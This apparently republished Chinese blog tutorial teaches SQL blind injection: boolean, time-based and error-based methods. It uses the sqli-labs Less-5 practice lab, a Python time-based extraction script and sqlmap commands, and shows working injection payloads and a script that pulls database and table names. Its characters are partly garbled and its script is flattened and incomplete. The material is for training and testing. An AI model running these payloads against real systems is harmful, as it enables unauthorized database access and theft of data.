SQL盲注及python脚本编写
1、什么是盲注
盲注就是在 sql 注入過(guò)程中,sql 語(yǔ)句執(zhí)行的選擇后,選擇的數(shù)據(jù)不能回顯 到前端頁(yè)面。此時(shí),我們需要利用一些方法進(jìn)行判斷或者嘗試,這個(gè)過(guò)程稱之為盲注。從 background-1 中,我們可以知道盲注分為三類
-
基于布爾 SQL 盲注
-
基于時(shí)間的 SQL 盲注
-
基于報(bào)錯(cuò)的 SQL 盲注
0x01.基于布爾 SQL 盲注----------構(gòu)造邏輯判斷
left() :left(a,b)從左側(cè)截取 a 的前 b 位
accii():Ascii()將某個(gè)字符轉(zhuǎn)換 為 ascii
substr():substr(a,b,c)從 b 位置開(kāi)始,截取字符串 a 的 c 長(zhǎng)度。
ord():Ord()函數(shù)同 ascii(),將字符轉(zhuǎn)為 ascii 值
mid():mid(a,b,c)從位置 b 開(kāi)始,截取 a 字符串的 c 位
正則注入:http://www.cnblogs.com/lcamry/articles/5717442.html
like 匹配注:
0x02.基于時(shí)間的 SQL 盲注
If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if 判斷語(yǔ)句,條件為假, 執(zhí)行 sleep,通過(guò)響應(yīng)的時(shí)間判斷
0x03.基于報(bào)錯(cuò)的 SQL 盲注
報(bào)錯(cuò)注入有很多種方法,簡(jiǎn)單介紹一種,其他另行參考文章:
https://www.cnblogs.com/wocalieshenmegui/p/5917967.html
報(bào)錯(cuò)注入實(shí)例:
1.select * from news where id=-1 union select updatexml(1,concat(0x7e,database(),0x7e),1) 得到數(shù)據(jù)庫(kù)為sqli 其他均相同: 數(shù)據(jù)庫(kù)版本: 10.3.22-MariaDB-0+deb10u1 用戶: root@localhost 操作系統(tǒng): debian-linux-gnu 2,查詢數(shù)據(jù)庫(kù)的表 select * from news where id=-1 union select updatexml(1,concat(0x7e,(select (group_concat(table_name)) from information_schema.tables where table_schema='sqli'),0x7e),1) 得到news,flag 查詢列 select * from news where id=-1 union select updatexml(1,concat(0x7e,(select (group_concat(column_name))from information_schema.columns where table_name='flag') ,0x7e),1) 得到flag select * from news where id=-1 union select updatexml(1,concat(0x7e,(select (group_concat(flag)) from sqli.flag),0x7e),1)由于回現(xiàn)字符數(shù)量限制,-1 union select updatexml(1,concat(0x7e, right((select(group_concat(flag)) from sqli.flag) ,31),0x7e),1);一、updatexml函數(shù)
UPDATEXML (XML_document, XPath_string, new_value);
第一個(gè)參數(shù):XML_document是String格式,為XML文檔對(duì)象的名稱。
第二個(gè)參數(shù):XPath_string (Xpath格式的字符串) 。
第三個(gè)參數(shù):new_value,String格式,替換查找到的符合條件的數(shù)據(jù)
作用:改變文檔中符合條件的節(jié)點(diǎn)的值。
由于updatexml的第二個(gè)參數(shù)需要Xpath格式的字符串,以~開(kāi)頭的內(nèi)容不是xml格式的語(yǔ)法,concat()函數(shù)為字符串連接函數(shù)顯然不符合規(guī)則,但是會(huì)將括號(hào)內(nèi)的執(zhí)行結(jié)果以錯(cuò)誤的形式報(bào)出,這樣就可以實(shí)現(xiàn)報(bào)錯(cuò)注入了。
- contact函數(shù)用于將多個(gè)字符串連接成一個(gè)字符串,是最重要的mysql函數(shù)之一
- right(str, num):字符串從右開(kāi)始截取num個(gè)字符
- left(str,num):字符串從左開(kāi)始截取num個(gè)字符
- substr(str,N,M): 字符串從第N個(gè)字符開(kāi)始,截取M個(gè)字符
2、sqllib less-5
1、left()
可以看出不顯示結(jié)果,構(gòu)造:
數(shù)據(jù)庫(kù)的版本:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and left(version(),1)=5 --+數(shù)據(jù)庫(kù)長(zhǎng)度:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and length(database())=8 --+猜測(cè)數(shù)據(jù)庫(kù)第一位:
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and left(database(),1)>'h' --+可以使用二分法來(lái)提高效率;
2、利用 substr() ascii()函數(shù)進(jìn)行測(cè)試
http://127.0.0.1/sqli-labs-master/Less-5/?id=1'and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))=101 --+ 獲取第一個(gè)字符 e 對(duì)應(yīng)的為 101 第二個(gè) substr(**,2,1) 即可 此處 table_schema 可以寫(xiě)成 =’security’,但是我們這里使用的 database(),是因 為此處 database()就是 security。此處同樣的使用二分法進(jìn)行測(cè)試,直到測(cè)試正確為止。 此處應(yīng)該是 101,因?yàn)榈谝粋€(gè)表示 email。這里可以看到我們上述的語(yǔ)句中使用的 limit 0,1. 意思就是從第 0 個(gè)開(kāi)始,獲取第一個(gè)。那 要獲取第二個(gè)是不是就是 limit 1,1。
然后一直測(cè)試。當(dāng)然不能靠手猜了,可以python解決和sqlmap注入工具。
3、python手寫(xiě)版本
import requests import time #以第五關(guān)為例 def get_database():headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-='database = ''length=0for l in range(1,20):Url = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27 and if(length(database())>{0},1,sleep(3))--+'UrlFormat = Url.format(l) #format()函數(shù)使用start_time0 = time.time() #發(fā)送請(qǐng)求前的時(shí)間賦值requests.get(UrlFormat,headers=headers)if time.time() - start_time0 > 2: #判斷正確的數(shù)據(jù)庫(kù)長(zhǎng)度print('database length is ' + str(l))length = lbreakelse:passfor i in range(1,length+1):for char in chars:charAscii = ord(char) #char轉(zhuǎn)換為asciiurl = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and if(ascii(substr(database(),{0},1))>{1},1,sleep(3))--+'urlformat = url.format(i,charAscii)start_time = time.time()requests.get(urlformat,headers=headers)if time.time() - start_time > 2:database+=charprint('database: ',database)breakelse:passprint('database is ' + database) def get_dbtables():headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36'}chars = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()-='for j in range(0,4):database = ''length = 0for l in range(1, 20):Url = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27 and if(length((select table_name from information_schema.tables where table_schema=database() limit {0},1))>{1},1,sleep(3))--+'UrlFormat = Url.format(j,l) # format()函數(shù)使用start_time0 = time.time() # 發(fā)送請(qǐng)求前的時(shí)間賦值requests.get(UrlFormat, headers=headers)if time.time() - start_time0 > 2: # 判斷正確的數(shù)據(jù)庫(kù)長(zhǎng)度print('table length is ' + str(l))length = lbreakelse:passfor i in range(1, length + 1):for char in chars:charAscii = ord(char) # char轉(zhuǎn)換為asciiurl = 'http://127.0.0.1/sqli-labs-master/Less-5/?id=1%27and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit {0},1),{1},1))>{2},1,sleep(3))--+'urlformat = url.format(j,i, charAscii)start_time = time.time()requests.get(urlformat, headers=headers)if time.time() - start_time > 2:database += charprint('第'+str(j)+'個(gè)表:')print('database: ', database)breakelse:passprint('第'+str(j)+'個(gè)表:'''+'database is ' + database)if __name__ == '__main__':get_database() #獲取數(shù)據(jù)庫(kù)名get_dbtables() #獲取表名get_column() #獲取列名get_column_content() #獲取列的內(nèi)容數(shù)據(jù)庫(kù)名獲取正確:
表明獲取正確
4、sqlmap注入工具
python sqlmap.py -u "http://127.0.0.1/sqli-labs-master/Less-5/?id=1" --current-db #默認(rèn)是當(dāng)前數(shù)據(jù)庫(kù) python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --tables #查詢目標(biāo)主機(jī)information_schema的表信息 python sqlmap.py -u "http://sql.test/Less-1/?id= 1" -D "information_schema" --tables #默認(rèn)是當(dāng)前數(shù)據(jù)庫(kù) python sqlmap.py -u "http://sql.test/Less-1/?id= 1" --tables[外鏈圖片轉(zhuǎn)存失敗,源站可能有防盜鏈機(jī)制,建議將圖片保存下來(lái)直接上傳(img-TMLM8xvc-1652880143247)(D:\我的\CTF學(xué)習(xí)\web安全筆記\SQL盲注.assets\image-20220518211533824.png)]
只是簡(jiǎn)單的工具的使用,具體可以參考這篇文章:
https://blog.csdn.net/weixin_46962006/article/details/121307150
三、CISCN2019 華北賽區(qū) Day2 Web1]Hack World
掃描的前期工作就不贅述了,直接開(kāi)始正題:
我們輸入,1,2,發(fā)現(xiàn)回顯正常,3,-1啥的都回顯這個(gè):
測(cè)試是否存在SQL注入:
這必然有漏洞,嘗試了很多發(fā)現(xiàn)if(1=1,1,2)和0^1可以使用:
編寫(xiě)腳本爆信息:
總結(jié)
以上是生活随笔為你收集整理的SQL盲注及python脚本编写的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。
- 上一篇: 为什么要有 hash 和 history
- 下一篇: vue created